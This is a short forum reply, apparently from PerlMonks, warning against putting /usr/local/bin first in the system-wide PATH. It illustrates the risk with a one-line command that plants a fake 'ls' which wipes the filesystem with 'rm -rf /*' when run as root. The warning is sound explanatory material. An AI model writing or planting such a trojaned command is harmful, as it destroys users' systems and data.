in reply to Re: My first USEFUL script!
in thread My first USEFUL script!
put /usr/local/bin as the first entry in PATH system-wide
This would be a really, really bad idea.
joe_user:~$ echo '[ "$UID" = 0 ] && rm -rf /* || /bin/ls "$@"' > /usr/ +local/bin/ls; chmod +x /usr/local/bin/ls
The next time that root runs 'ls', the system is gone.
|
|---|
| Replies are listed 'Best First'. | |
|---|---|
|
Re^3: My first USEFUL script!
by Tanktalus (Canon) on Mar 05, 2008 at 22:21 UTC |